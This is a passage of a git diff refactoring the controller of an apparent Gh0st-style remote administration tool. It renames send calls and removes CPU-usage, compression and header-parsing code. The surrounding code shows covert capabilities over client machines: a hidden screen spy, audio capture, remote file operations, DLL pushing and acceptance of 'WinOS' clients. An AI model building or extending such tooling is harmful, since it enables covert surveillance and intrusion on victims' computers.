hmac.c_str(), hmac.length()); resp[80] = 0; - m_iocpServer->OnClientPreSending(ContextObject, (LPBYTE)resp, sizeof(resp)); + m_iocpServer->Send2Client(ContextObject, (LPBYTE)resp, sizeof(resp)); break; } case CMD_EXECUTE_DLL: // 璇锋眰DLL @@ -1763,7 +1766,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) for (std::vector::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){ DllInfo* dll = *i; if (dll->Name == info->Name) { - return m_iocpServer->OnClientPreSending(ContextObject, dll->Data->Buf(), dll->Data->length()); + return m_iocpServer->Send2Client(ContextObject, dll->Data->Buf(), dll->Data->length()); } } break; @@ -1876,6 +1879,9 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject); break; } + default: { + Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len); + } } } @@ -1989,7 +1995,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { HeartbeatACK ack = { hb.Time }; BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK}; memcpy(buf + 1, &ack, sizeof(HeartbeatACK)); - m_iocpServer->Send(ctx, buf, sizeof(buf)); + m_iocpServer->Send2Client(ctx, buf, sizeof(buf)); } CLock L(m_cs); @@ -2013,7 +2019,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) { memcpy(buf+1, &m_settings, sizeof(MasterSettings)); if (ctx) { - m_iocpServer->Send(ctx, buf, sizeof(buf)); + m_iocpServer->Send2Client(ctx, buf, sizeof(buf)); } else { EnterCriticalSection(&m_cs); @@ -2022,7 +2028,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) { CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i); if (!ContextObject->bLogin) continue; - m_iocpServer->Send(ContextObject, buf, sizeof(buf)); + m_iocpServer->Send2Client(ContextObject, buf, sizeof(buf)); } LeaveCriticalSection(&m_cs); } @@ -2037,9 +2043,9 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, char md5[33] = {}; memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32))); if (!buf->MD5().empty() && md5 != buf->MD5()) - m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length(len<=20)); + m_iocpServer->Send2Client(ContextObject, buf->Buf(), buf->length(len<=20)); else { - m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 6 /* data not changed */); + m_iocpServer->Send2Client(ContextObject, buf->Buf(), 6 /* data not changed */); } } } @@ -2201,7 +2207,7 @@ void CMy2015RemoteDlg::OnMainProxy() int iItem = m_CList_Online.GetNextSelectedItem(Pos); CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); BYTE cmd[] = { COMMAND_PROXY }; - m_iocpServer->OnClientPreSending(ContextObject, cmd, sizeof(cmd)); + m_iocpServer->Send2Client(ContextObject, cmd, sizeof(cmd)); break; } LeaveCriticalSection(&m_cs); @@ -2551,7 +2557,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) { Buffer* buf = m_DllList[menuIndex]->Data; int iItem = m_CList_Online.GetNextSelectedItem(Pos); CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); - m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo)); + m_iocpServer->Send2Client(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo)); } LeaveCriticalSection(&m_cs); } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 7e6f5b8..2cc5807 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -125,7 +125,7 @@ protected: } // 构造 public: - CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // 标准构造函数 + CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent = NULL); // 标准构造函数 ~CMy2015RemoteDlg(); // 对话框数据 enum { IDD = IDD_MY2015REMOTE_DIALOG }; @@ -193,7 +193,7 @@ public: std::vector m_DllList; NOTIFYICONDATA m_Nid; HANDLE m_hExit; - IOCPServer* m_iocpServer; + Server* m_iocpServer; CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 9872c13..919214c 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -262,7 +262,6 @@ - @@ -275,6 +274,7 @@ + @@ -285,6 +285,7 @@ + @@ -323,7 +324,6 @@ - @@ -335,6 +335,7 @@ + NotUsing diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index c5cff83..b572b74 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -11,7 +11,6 @@ - @@ -49,6 +48,7 @@ file + @@ -64,7 +64,6 @@ - @@ -109,6 +108,8 @@ file + + diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp index 4da6dcd..e7056d4 100644 --- a/server/2015Remote/AudioDlg.cpp +++ b/server/2015Remote/AudioDlg.cpp @@ -11,7 +11,7 @@ IMPLEMENT_DYNAMIC(CAudioDlg, CDialog) -CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) +CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject) : DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO) , m_bSend(FALSE) { @@ -56,7 +56,7 @@ BOOL CAudioDlg::OnInitDialog() SetWindowText(strString); BYTE bToken = COMMAND_NEXT; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); //启动线程 判断CheckBox m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); @@ -84,7 +84,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam) LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //播放声音 if (szBuffer != NULL && dwBufferSize > 0) - This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //没有消息头 + This->m_iocpServer->Send2Client(This->m_ContextObject, szBuffer, dwBufferSize); //没有消息头 } This->m_bThreadRun = FALSE; diff --git a/server/2015Remote/AudioDlg.h b/server/2015Remote/AudioDlg.h index 1c269bf..b52dd49 100644 --- a/server/2015Remote/AudioDlg.h +++ b/server/2015Remote/AudioDlg.h @@ -10,7 +10,7 @@ class CAudioDlg : public DialogBase DECLARE_DYNAMIC(CAudioDlg) public: - CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 + CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 virtual ~CAudioDlg(); DWORD m_nTotalRecvBytes; diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp index 3788ba5..2547026 100644 --- a/server/2015Remote/Chat.cpp +++ b/server/2015Remote/Chat.cpp @@ -13,7 +13,7 @@ // CChat dialog -CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) +CChat::CChat(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext) : DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT) { } @@ -53,7 +53,7 @@ BOOL CChat::OnInitDialog() m_editNewMsg.SetLimitText(4079); // TODO: Add extra initialization here BYTE bToken = COMMAND_NEXT_CHAT; - m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon @@ -89,7 +89,7 @@ void CChat::OnButtonSend() return; // 发送消息为空不处理 } m_editTip.ShowWindow(SW_HIDE); - m_iocpServer->Send(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char)); + m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char)); SYSTEMTIME st; GetLocalTime(&st); char Text[5120] = { 0 }; @@ -171,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK() { BYTE bToken = COMMAND_CHAT_SCREEN_LOCK; - m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); } void CChat::OnBnClickedButton_UNLOCK() { BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK; - m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); } diff --git a/server/2015Remote/Chat.h b/server/2015Remote/Chat.h index aa17bd9..58af36d 100644 --- a/server/2015Remote/Chat.h +++ b/server/2015Remote/Chat.h @@ -9,7 +9,7 @@ class CChat : public DialogBase { // Construction public: - CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + CChat(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL); void OnReceiveComplete(); void OnReceive(); diff --git a/server/2015Remote/CpuUseage.cpp b/server/2015Remote/CpuUseage.cpp deleted file mode 100644 index f506a60..0000000 --- a/server/2015Remote/CpuUseage.cpp +++ /dev/null @@ -1,55 +0,0 @@ -#include "stdafx.h" -#include "CpuUseage.h" - -//系统性能计数器 -CCpuUsage::CCpuUsage() -{ - m_hQuery = NULL; - m_pCounterStruct = NULL; - -} - -CCpuUsage::~CCpuUsage() -{ - PdhCloseQuery(m_hQuery); //关闭计数器 - if (m_pCounterStruct) - delete m_pCounterStruct; -} - - -BOOL CCpuUsage::Init() -{ - if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) //打开计数器 - return FALSE; - - m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT; - - //统计感兴趣的系统信息时,必须先将对应的计数器添加进来 - PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName, - (DWORD_PTR) m_pCounterStruct, &(m_pCounterStruct->hCounter)); - if (ERROR_SUCCESS != pdh_status) - { - return FALSE; - } - - return TRUE; -} - - -int CCpuUsage::GetUsage() -{ - PDH_FMT_COUNTERVALUE pdhFormattedValue; - - PdhCollectQueryData(m_hQuery); - - //得到数据获得当前计数器的值 - if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter, - PDH_FMT_LONG, - NULL, - &pdhFormattedValue )) - { - return 0; - } - - return pdhFormattedValue.longValue; -} diff --git a/server/2015Remote/CpuUseage.h b/server/2015Remote/CpuUseage.h deleted file mode 100644 index 9f087d4..0000000 --- a/server/2015Remote/CpuUseage.h +++ /dev/null @@ -1,34 +0,0 @@ -#pragma once - -#include -#include - -#pragma comment(lib,"PDH.lib") - -#define MAX_RAW_VALUES 20 - -//process 项目下的% Processor Time计数器是关于进程CPU使率的 -const char szCounterName[] = "\\Processor(_Total)\\% Processor Time"; - -typedef struct _tag_PDHCounterStruct { - HCOUNTER hCounter; - int nNextIndex; - int nOldestIndex; - int nRawCount; - PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES]; -} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT; - - -class CCpuUsage -{ -public: - CCpuUsage(); - virtual ~CCpuUsage(); - BOOL Init(); - int GetUsage(); - -protected: - - PPDHCOUNTERSTRUCT m_pCounterStruct; - HQUERY m_hQuery; -}; diff --git a/server/2015Remote/DecryptDlg.cpp b/server/2015Remote/DecryptDlg.cpp index ac26dbf..08fa931 100644 --- a/server/2015Remote/DecryptDlg.cpp +++ b/server/2015Remote/DecryptDlg.cpp @@ -4,7 +4,7 @@ IMPLEMENT_DYNAMIC(DecryptDlg, CDialog) -DecryptDlg::DecryptDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) +DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject) : CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) { } diff --git a/server/2015Remote/DecryptDlg.h b/server/2015Remote/DecryptDlg.h index f1d48ef..5f0cc0c 100644 --- a/server/2015Remote/DecryptDlg.h +++ b/server/2015Remote/DecryptDlg.h @@ -8,7 +8,7 @@ class DecryptDlg : public CDialogBase DECLARE_DYNAMIC(DecryptDlg) public: - DecryptDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL); + DecryptDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL); virtual ~DecryptDlg(); VOID OnReceiveComplete(); diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index af156d9..9ebcded 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -35,7 +35,7 @@ float GetScreenScalingFactor() { return dpiX / 96.0f; } -CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext) +CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext) : DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER) { m_fScalingFactor = GetScreenScalingFactor(); @@ -1022,7 +1022,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send(m_ContextObject, bPacket, PacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); @@ -1481,7 +1481,7 @@ BOOL CFileManagerDlg::SendDownloadJob() bPacket[0] = COMMAND_DOWN_FILES; // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1); - m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1538,7 +1538,7 @@ BOOL CFileManagerDlg::SendUploadJob() memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD)); memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1); - m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); @@ -1569,7 +1569,7 @@ BOOL CFileManagerDlg::SendDeleteJob() } // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1749,7 +1749,7 @@ void CFileManagerDlg::CreateLocalRecvFile() else { // 发送继续传输文件的token,包含文件续传的偏移 - m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); } } @@ -1822,7 +1822,7 @@ void CFileManagerDlg::WriteLocalRecvFile() dwOffsetLow += dwBytesWrite; memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); } } @@ -1896,19 +1896,19 @@ void CFileManagerDlg::EndRemoteDeleteFile() void CFileManagerDlg::SendException() { BYTE bBuff = COMMAND_EXCEPTION; - m_iocpServer->Send(m_ContextObject, &bBuff, 1); + m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::SendContinue() { BYTE bBuff = COMMAND_CONTINUE; - m_iocpServer->Send(m_ContextObject, &bBuff, 1); + m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::SendStop() { BYTE bBuff = COMMAND_STOP; - m_iocpServer->Send(m_ContextObject, &bBuff, 1); + m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::ShowProgress() @@ -2068,7 +2068,7 @@ void CFileManagerDlg::SendTransferMode() BYTE bToken[5]; bToken[0] = COMMAND_SET_TRANSFER_MODE; memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); - m_iocpServer->Send(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken)); + m_iocpServer->Send2Client(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken)); } void CFileManagerDlg::SendFileData() @@ -2113,7 +2113,7 @@ void CFileManagerDlg::SendFileData() if (nNumberOfBytesRead > 0) { int nPacketSize = nNumberOfBytesRead + nHeadLength; - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); } LocalFree(lpBuffer); } @@ -2192,7 +2192,7 @@ void CFileManagerDlg::OnRemoteNewfolder() LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2); lpBuffer[0] = COMMAND_CREATE_FOLDER; memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); LocalFree(lpBuffer); } } @@ -2259,7 +2259,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult) memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1); memcpy(lpBuffer + 2 + strExistingFileName.GetLength(), strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1); - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); LocalFree(lpBuffer); } *pResult = 1; @@ -2328,7 +2328,7 @@ void CFileManagerDlg::OnRemoteOpenShow() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_OPEN_FILE_SHOW; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -2342,7 +2342,7 @@ void CFileManagerDlg::OnRemoteOpenHide() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_OPEN_FILE_HIDE; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h index 38b5c4e..7bac4a7 100644 --- a/server/2015Remote/FileManagerDlg.h +++ b/server/2015Remote/FileManagerDlg.h @@ -26,8 +26,6 @@ typedef struct #define m_Socket sClientSocket -#define Send OnClientPreSending - #define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32)) #define MAX_WRITE_RETRY 15 // 重试写入文件次数 @@ -105,7 +103,7 @@ public: void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen); CStatusBar m_wndStatusBar; - CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor + CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor ~CFileManagerDlg() { diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp index a861a51..6f91de5 100644 --- a/server/2015Remote/HideScreenSpyDlg.cpp +++ b/server/2015Remote/HideScreenSpyDlg.cpp @@ -37,7 +37,7 @@ enum { IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog) -CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) +CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext) : DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP) { m_bIsFirst = true; // 濡傛灉鏄涓娆℃墦寮瀵硅瘽妗嗭紝鏄剧ず鎻愮ず绛夊緟淇℃伅 diff --git a/server/2015Remote/HideScreenSpyDlg.h b/server/2015Remote/HideScreenSpyDlg.h index 55101cd..cd682cb 100644 --- a/server/2015Remote/HideScreenSpyDlg.h +++ b/server/2015Remote/HideScreenSpyDlg.h @@ -29,7 +29,7 @@ class CHideScreenSpyDlg : public DialogBase { enum { IDD = IDD_SCREEN }; public: - CHideScreenSpyDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + CHideScreenSpyDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL); virtual ~CHideScreenSpyDlg(); VOID SendNext(void) { diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 8444870..0be5031 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -5,35 +5,6 @@ #include #include -// ZLIB 压缩库 -#include "zlib/zlib.h" - -#if USING_LZ4 -#include "lz4/lz4.h" -#pragma comment(lib, "lz4/lz4.lib") -#define C_FAILED(p) (0 == (p)) -#define C_SUCCESS(p) (!C_FAILED(p)) -#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen)) -#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen)) -#else // ZSTD -#include "zstd/zstd.h" -#ifdef _WIN64 -#pragma comment(lib, "zstd/zstd_x64.lib") -#else -#pragma comment(lib, "zstd/zstd.lib") -#endif -#define C_FAILED(p) ZSTD_isError(p) -#define C_SUCCESS(p) (!C_FAILED(p)) -#define ZSTD_CLEVEL 5 -#if USING_CTX -#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen) -#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen) -#else -#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT) -#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen) -#endif -#endif - // 根据 socket 获取客户端IP地址. std::string GetPeerName(SOCKET sock) { sockaddr_in ClientAddr = {}; @@ -306,7 +277,6 @@ BOOL IOCPServer::InitializeIOCP(VOID) m_ulThreadPoolMax = SystemInfo.dwNumberOfProcessors * 2; m_ulCPULowThreadsHold = 10; m_ulCPUHighThreadsHold = 75; - m_cpu.Init(); ULONG ulWorkThreadCount = m_ulThreadPoolMax; diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 35d3a90..2e6261c 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -3,486 +3,121 @@ #include "StdAfx.h" #include #pragma comment(lib,"ws2_32.lib") -#include "CpuUseage.h" -#include "Buffer.h" -#define XXH_INLINE_ALL -#include "xxhash.h" +#include "Server.h" #if USING_CTX #include "zstd/zstd.h" #endif #include -#include "common/header.h" -#include "common/encrypt.h" -#define PACKET_LENGTH 0x2000 #define NC_CLIENT_CONNECT 0x0001 #define NC_RECEIVE 0x0004 #define NC_RECEIVE_COMPLETE 0x0005 // 完整接收 -std::string GetPeerName(SOCKET sock); -std::string GetRemoteIP(SOCKET sock); - - -enum -{ - ONLINELIST_IP = 0, // IP的列顺序 - ONLINELIST_ADDR, // 地址 - ONLINELIST_LOCATION, // 地理位置 - ONLINELIST_COMPUTER_NAME, // 计算机名/备注 - ONLINELIST_OS, // 操作系统 - ONLINELIST_CPU, // CPU - ONLINELIST_VIDEO, // 摄像头(有无) - ONLINELIST_PING, // PING(对方的网速) - ONLINELIST_VERSION, // 版本信息 - ONLINELIST_INSTALLTIME, // 安装时间 - ONLINELIST_LOGINTIME, // 活动窗口 - ONLINELIST_CLIENTTYPE, // 客户端类型 - ONLINELIST_PATH, // 文件路径 - ONLINELIST_MAX, -}; - -enum { - PARSER_WINOS = -2, - PARSER_FAILED = -1, // 解析失败 - PARSER_NEEDMORE = 0, // 需要更多数据 -}; - -typedef struct PR { - int Result; - bool IsFailed() const { - return PARSER_FAILED == Result; - } - bool IsNeedMore() const { - return PARSER_NEEDMORE == Result; - } - bool IsWinOSLogin() const { - return PARSER_WINOS == Result; - } -}PR; - -enum { - COMPRESS_UNKNOWN = -2, // 未知压缩算法 - COMPRESS_ZLIB = -1, // 以前版本使用的压缩方法 - COMPRESS_ZSTD = 0, // 当前使用的压缩方法 - COMPRESS_NONE = 1, // 没有压缩 -}; - -struct CONTEXT_OBJECT; - -// Header parser: parse the data to make sure it's from a supported client. -class HeaderParser { - friend struct CONTEXT_OBJECT; -protected: - HeaderParser() { - memset(this, 0, sizeof(HeaderParser)); - } - virtual ~HeaderParser() { - Reset(); - } - PR Parse(CBuffer& buf, int &compressMethod) { - const int MinimumCount = MIN_COMLEN; - if (buf.GetBufferLength() < MinimumCount) { - return PR{ PARSER_NEEDMORE }; - } - char szPacketFlag[32] = { 0 }; - buf.CopyBuffer(szPacketFlag, MinimumCount, 0); - HeaderEncType encTyp = HeaderEncUnknown; - FlagType flagType = CheckHead(szPacketFlag, encTyp); - if (flagType == FLAG_UNKNOWN) { - // 数据长度 + 通信密码 [4字节启动时间+4个0字节+命令标识+系统位数标识] - const BYTE* ptr = (BYTE*)buf.GetBuffer(0), *p = ptr+4; - int length = *((int*)ptr); - int excepted = buf.GetBufferLength(); - if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 && - p[6] == 0&& p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) { - m_nFlagType = FLAG_WINOS; - compressMethod = COMPRESS_NONE; - memcpy(m_szPacketFlag, p, 10); // 通信密码 - m_nCompareLen = 0; - m_nFlagLen = 0; - m_nHeaderLen = 14; - m_bParsed = TRUE; - m_Encoder = new Encoder(); - m_Encoder2 = new WinOsEncoder(); - return PR{ PARSER_WINOS }; - } - return PR{ PARSER_FAILED }; - } - if (m_bParsed) { // Check if the header has been parsed. - return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED }; - } - // More version may be added in the future. - switch (m_nFlagType = flagType) - { - case FLAG_UNKNOWN: - return PR{ PARSER_FAILED }; - case FLAG_SHINE: - memcpy(m_szPacketFlag, szPacketFlag, 5); - m_nCompareLen = 5; - m_nFlagLen = m_nCompareLen; - m_nHeaderLen = m_nFlagLen + 8; - m_bParsed = TRUE; - m_Encoder = new Encoder(); - m_Encoder2 = new Encoder(); - break; - case FLAG_FUCK: - memcpy(m_szPacketFlag, szPacketFlag, 8); - m_nCompareLen = 8; - m_nFlagLen = m_nCompareLen + 3; - m_nHeaderLen = m_nFlagLen + 8; - m_bParsed = TRUE; - m_Encoder = new XOREncoder(); - m_Encoder2 = new Encoder(); - break; - case FLAG_HELLO: - // This header is only for handling SOCKET_DLLLOADER command - memcpy(m_szPacketFlag, szPacketFlag, 8); - m_nCompareLen = 6; - m_nFlagLen = 8; - m_nHeaderLen = m_nFlagLen + 8; - m_bParsed = TRUE; - compressMethod = COMPRESS_NONE; - m_Encoder = new Encoder(); - m_Encoder2 = new XOREncoder16(); - break; - case FLAG_HELL: - // This version - memcpy(m_szPacketFlag, szPacketFlag, 8); - m_nCompareLen = FLAG_COMPLEN; - m_nFlagLen = FLAG_LENGTH; - m_nHeaderLen = m_nFlagLen + 8; - m_bParsed = TRUE; - m_Encoder = new Encoder(); - m_Encoder2 = new XOREncoder16(); - break; - default: - break; - } - return PR{ m_nFlagLen }; - } - BOOL IsEncodeHeader() const { - return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL; - } - HeaderParser& Reset() { - SAFE_DELETE(m_Encoder); - SAFE_DELETE(m_Encoder2); - memset(this, 0, sizeof(HeaderParser)); - return *this; - } - BOOL IsParsed() const { - return m_bParsed; - } - int GetFlagLen() const { - return m_nFlagLen; - } - int GetHeaderLen() 